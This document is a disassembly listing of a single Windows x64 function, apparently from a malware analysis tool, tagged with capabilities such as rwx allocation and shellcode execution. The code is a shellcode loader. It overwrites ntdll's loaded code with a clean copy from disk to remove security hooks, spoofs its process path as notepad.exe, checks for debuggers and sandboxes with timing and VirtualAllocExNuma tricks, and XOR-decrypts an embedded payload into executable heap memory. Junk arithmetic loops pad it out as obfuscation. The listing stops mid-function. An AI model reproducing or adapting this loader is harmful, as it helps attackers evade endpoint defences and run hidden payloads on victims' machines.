Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x918
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x880], xmm6
mov dword [rbp + 0x8c0], ecx
mov qword [rbp + 0x8c8], rdx
call fcn.140002e40
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x810], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x808], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x800], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x878], rax
cmp qword [rbp + 0x878], 0
jne 0x140001662
mov dword [rbp + 0x7fc], 0
mov ecx, 0x644
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7f0], rax
mov dword [rbp + 0x874], 0
jmp 0x140001613
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x7fc], edx
mov edx, dword [rbp + 0x7fc]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x7fc], eax
cmp dword [rbp + 0x7fc], 0x168
jle 0x140001599
mov eax, dword [rbp + 0x874]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x14000160c
cmp dword [rbp + 0x7fc], 0
jns 0x1400015c6
mov eax, dword [rbp + 0x874]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x14000160c
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x7fc]
movsd xmm0, qword [0x140006610]
mulsd xmm0, xmm1
movsd xmm1, qword [0x140006618]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x874]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0x190
jle 0x140001532
mov rax, qword [rbp + 0x7f0]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x878], rax
cmp qword [rbp + 0x878], 0
je 0x140001bf1
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x600]
mov rax, qword [rbp + 0x800]
mov r10, qword [rbp + 0x878]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x600]
mov qword [rbp + 0x7e8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7e0], rax
mov rax, qword [rbp + 0x7e0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7e8]
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7e8]
add rax, rdx
mov qword [rbp + 0x7c0], rax
mov ecx, 0x4740
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b8], rax
mov ecx, 0x4740
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b0], rax
mov ecx, 0x4740
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a8], rax
mov dword [rbp + 0x870], 0
jmp 0x1400018b4
mov dword [rbp + 0x86c], 0
jmp 0x1400018a0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x870]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 6
mov rcx, rax
mov rax, qword [rbp + 0x7b8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x86c]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x870]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 6
mov rcx, rax
mov rax, qword [rbp + 0x7b0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x86c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x86c], 1
cmp dword [rbp + 0x86c], 0x4f
jle 0x1400017df
add dword [rbp + 0x870], 1
cmp dword [rbp + 0x870], 0x38
jle 0x1400017d0
mov dword [rbp + 0x870], 0
jmp 0x140001991
mov dword [rbp + 0x86c], 0
jmp 0x14000197d
mov eax, dword [rbp + 0x870]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 6
mov rdx, rax
mov rax, qword [rbp + 0x7b8]
add rdx, rax
mov eax, dword [rbp + 0x86c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x870]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 6
mov rdx, rax
mov rax, qword [rbp + 0x7b0]
add rdx, rax
mov eax, dword [rbp + 0x86c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x870]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 6
mov rdx, rax
mov rax, qword [rbp + 0x7a8]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x86c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x86c], 1
cmp dword [rbp + 0x86c], 0x4f
jle 0x1400018df
add dword [rbp + 0x870], 1
cmp dword [rbp + 0x870], 0x38
jle 0x1400018d0
mov rax, qword [rbp + 0x7b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7a8]
mov rcx, rax
call sub.msvcrt.dll_free
mov word [rbp + 0x86a], 0
jmp 0x140001bd9
mov rax, qword [rbp + 0x7c0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7c0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x86a]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7a0], rax
mov rax, qword [rbp + 0x7a0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001bc8
mov dword [rbp + 0x5c4], 0
mov dword [rbp + 0x864], 0xffffffff
mov ecx, 0x1278
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x798], rax
add dword [rbp + 0x864], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006620]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x864]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x798]
add rax, rdx
movsd xmm1, qword [0x140006628]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x864]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x798]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x864]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x798]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x864], 0x24d
jle 0x140001a58
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7e8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5c4]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7d0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7e8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5c4]
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7e8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5c4]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x86a]
add eax, 1
mov word [rbp + 0x86a], ax
mov rax, qword [rbp + 0x7c0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x86a], ax
jb 0x1400019d9
mov dword [rbp + 0x5cc], 0
mov rax, qword [rbp + 0x810]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x790], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5d0]
lea rax, [rbp + 0x5cc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x790]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5d8]
add rax, 0x3c
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x788]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x5c8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5c8]
mov r8, qword [rbp + 0x780]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5c8]
cmp eax, 1
je 0x140002d74
mov dword [rbp + 0x77c], 0x323
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x770], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
call rax
mov dword [rbp + 0x764], eax
mov eax, dword [rbp + 0x77c]
mov r8, qword [rbp + 0x770]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x768]
call rax
mov dword [rbp + 0x760], eax
mov eax, dword [rbp + 0x760]
sub eax, dword [rbp + 0x764]
cmp eax, 0x2f1
jbe 0x140002d74
mov dword [rbp + 0x5c0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5c0]
mov r8, qword [rbp + 0x758]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5c0]
cmp eax, 1
je 0x140002d74
mov qword [rbp + 0x750], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x748]
mov r9d, 0x3000
mov r8d, 0x31b
mov edx, 0
call rax
mov qword [rbp + 0x750], rax
cmp qword [rbp + 0x750], 0
je 0x140002d74
mov dword [rbp + 0x744], 0x390
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x72c], eax
mov eax, dword [rbp + 0x744]
mov r8, qword [rbp + 0x738]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x728], eax
mov eax, dword [rbp + 0x728]
sub eax, dword [rbp + 0x72c]
cmp eax, 0x35e
jbe 0x140002d74
mov dword [rbp + 0x724], 0x2bc
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x714], eax
mov eax, dword [rbp + 0x724]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x710], eax
mov eax, dword [rbp + 0x710]
sub eax, dword [rbp + 0x714]
cmp eax, 0x28a
jbe 0x140002d74
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
jne 0x140002d74
mov qword [rbp + 0x858], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6f8], rax
cmp qword [rbp + 0x6f8], 0
je 0x1400020bc
mov rax, qword [rbp + 0x6f8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6f0]
mov r9d, 0x3000
mov r8d, 0x38b
mov edx, 0
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
je 0x140002d74
mov qword [rbp + 0x6e8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1766e80
mov ecx, 0
call rax
mov qword [rbp + 0x6e8], rax
cmp qword [rbp + 0x6e8], 0
je 0x140002d74
mov rax, qword [rbp + 0x6e8]
mov edx, 0x1766e80
mov rcx, rax
call fcn.1400041b0
mov rax, qword [rbp + 0x6e8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6d0], rax
cmp qword [rbp + 0x6d0], 0
jne 0x140002d74
mov dword [rbp + 0x84c], 0
mov ecx, 0x63c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
mov dword [rbp + 0x854], 0
jmp 0x14000227a
mov dword [rbp + 0x850], 0
jmp 0x14000226a
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x38d6ecaf
shr rdx, 0x20
mov ecx, edx
sar ecx, 9
cdq
sub ecx, edx
imul edx, ecx, 0x902
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x854]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x6c8]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x850]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x4b
jle 0x1400021ff
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x53
jle 0x1400021f3
mov dword [rbp + 0x854], 0
jmp 0x140002307
mov dword [rbp + 0x850], 0
jmp 0x1400022f7
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x84c]
mov eax, dword [rbp + 0x854]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x6c8]
add rdx, rax
mov eax, dword [rbp + 0x850]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x84c], eax
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x4b
jle 0x14000229f
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x53
jle 0x140002293
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, [rbp + 0xf0]
lea rdx, [0x140006148]
mov ecx, 0x98
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x808]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x808]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov ecx, 0x15f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov ecx, 0x15f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a8], rax
mov dword [rbp + 0x848], 0
jmp 0x14000244f
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x848]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x2bd
jle 0x1400023c5
mov dword [rbp + 0x848], 0
jmp 0x1400024bd
mov eax, dword [rbp + 0x848]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x848]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6a8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003e30
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x2bd
jle 0x14000246b
mov rax, qword [rbp + 0x6c0]
mov r8d, 0
mov edx, 0x4c4
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov r9, qword [rbp + 0x6b8]
mov r8d, 0x4c4
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x810]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x698]
mov r9, qword [rbp + 0x690]
mov r8d, 0x4c4
mov rcx, rax
call r9
mov dword [rbp + 0x844], 0
mov dword [rbp + 0x840], 0
mov dword [rbp + 0x83c], 0
movabs rax, 0xe896f2d97d6c7e65
movabs rdx, 0x79ce2bf93ff26f9a
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xdf8474e805f007
movabs rdx, 0xdf4509cfdac03171
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x730c8744a33a02ab
movabs rdx, 0x66f3dc777a0e7a32
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xecd9c6c1f2a24da9
movabs rdx, 0xb46429e5bc55c05a
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x84736a6b09e38800
movabs rdx, 0x35ad6c9445994a41
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x4cd2babeb2dfa318
movabs rdx, 0xb92a13a03cea1520
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x825904588e61224b
movabs rdx, 0x9eed7f87f9257b7d
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x5d5690879eed7f87
movabs rdx, 0x3932d35f90d1cf
mov qword [rbp + 0xdc], rax
mov qword [rbp + 0xe4], rdx
movabs rax, 0xfac1be3db6f97312
movabs rdx, 0xac997547a13c000b
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x547ff86ad46eaf83
movabs rdx, 0xed07e8c0eb76843b
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x94777443937b6cb0
movabs rdx, 0x4713cc1610a06490
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xac91888340ce1ced
movabs rdx, 0x123919205cf4832e
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x430ce1e58b61ab3e
movabs rdx, 0xcf29fb02e01253ce
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
mov byte [rbp + 0x60], 0
jmp 0x140002938
mov eax, dword [rbp + 0x844]
cdqe
movzx edx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x840]
cdqe
movzx eax, byte [rbp + rax + 0x70]
xor edx, eax
mov eax, dword [rbp + 0x844]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x840], 0x7a
jne 0x14000292a
mov dword [rbp + 0x840], 0
mov ecx, 0x850
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x638], rax
mov ecx, 0x850
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
mov ecx, 0x850
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov ecx, 0x850
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x620], rax
mov dword [rbp + 0x834], 0x213
mov dword [rbp + 0x838], 0
jmp 0x14000283d
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x838]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x638]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x838]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x630]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x213
jle 0x1400027aa
mov dword [rbp + 0x838], 0
jmp 0x1400028dc
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x638]
add rax, rdx
mov edx, dword [rbp + 0x838]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x628]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x630]
add rax, rdx
mov edx, dword [rbp + 0x838]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x620]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x834], 1
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x213
jle 0x14000285c
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x630]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x620]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x140002931
add dword [rbp + 0x840], 1
add dword [rbp + 0x844], 1
mov eax, dword [rbp + 0x844]
cmp eax, 0x4f
jbe 0x14000270e
mov dword [rbp + 0x844], 0
jmp 0x140002c46
mov dword [rbp + 0x830], 0
mov dword [rbp + 0x82c], 1
mov dword [rbp + 0x828], 0
mov dword [rbp + 0x664], 0x12e
